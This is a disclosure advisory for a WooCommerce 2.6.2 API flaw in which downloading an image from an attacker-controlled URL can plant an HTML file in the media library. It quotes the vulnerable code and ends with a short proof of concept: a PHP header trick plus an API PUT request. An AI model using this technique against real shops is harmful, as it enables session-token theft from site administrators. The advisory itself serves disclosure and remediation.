A vulnerability exists in the Woocommerce API that allows for the creation of malicious HTML files when an image is downloaded from an attacker controlled URL.
For feedback or questions about this advisory mail us at sumofpwn at securify.nl
This issue has been found during the Summer of Pwnage hacker event, running from July 1-29. A community summer event in which a large group of security bughunters (worldwide) collaborate in a month of security research on Open Source Software (WordPress this time). For fun. The event is hosted by Securify in Amsterdam.
OVE-20160719-0002
This issue was successfully tested on Woocommerce version 2.6.2.
This issue is resolved in Woocommerce version 2.6.4.
Woocommerce is a WordPress plugin that offers a customizable eCommerce platform. A vulnerability exists in the Woocommerce API that allows for the creation of malicious HTML files when an image is downloaded from an attacker controlled URL. An attacker can perform a variety of actions if the HTML file is visited, such as stealing Administrators' session tokens, or performing arbitrary actions on their behalf.
The vulnerability exists in multiple places in the code. This description will use the code located at:
/includes/api/legacy/v3/class-wc-api-products.php
The vulnerable method is called upload_image_from_url. This method is used for adding product and product category images from a URL. wp_check_filetype is used to retrieve a file type for the filename in the URL.
$wp_filetype = wp_check_filetype( $file_name, null );
wp_check_filetype checks if the file extension matches the array of extensions returned by wp_get_mime_types. wp_get_mime_types returns a big list of file types, including HTML and most image files. It does not include the PHP file extension.
If the file type cannot be determined by wp_check_filetype from the URL (for example, if the URL ends with .php), the code will retrieve the file from the server headers.
// Ensure we have a file name and type.
if ( ! $wp_filetype['type'] ) {
$headers = wp_remote_retrieve_headers( $response );
if ( isset( $headers['content-disposition'] ) && strstr( $headers['content-disposition'], 'filename=' ) ) {
$disposition = end( explode( 'filename=', $headers['content-disposition'] ) );
$disposition = sanitize_file_name( $disposition );
$file_name = $disposition;
} elseif ( isset( $headers['content-type'] ) && strstr( $headers['content-type'], 'image/' ) ) {
$file_name = 'image.' . str_replace( 'image/', '', $headers['content-type'] );
}
Other files that contain the vulnerable code pattern are:
/woocommerce/includes/wc-rest-functions.php
/woocommerce/includes/cli/class-wc-cli-product.php
/woocommerce/includes/api/legacy/v3/class-wc-api-products.php
/woocommerce/includes/api/legacy/v2/class-wc-api-products.php
Because WordPress includes itself in the User Agent header when requesting the image, it's possible to an attacker to show images for normal users and to inject HTML files when the Woocommerce API does a request.
HTML files will not be included as a category image but will show up in the media library.
This attack can be done when the called URL does not end in a file type included in wp_get_mime_types. For example, in the case where a popular image is shown by a PHP script.
On an external server, create a file called image.php with the following content:
<?php
header("content-disposition: filename=poc.html");
echo "<script>alert(1)</script>";
?>
Now perform a PUT request to:
/wc-api/v3/products/categories/<valid id>?consumer_key=<key>&consumer_secret=<secret>With the JSON content:
{"product_category":{"image":"http://<external server>/image.php"}}
The category image will be empty, and a file poc.html will appear in the upload folder.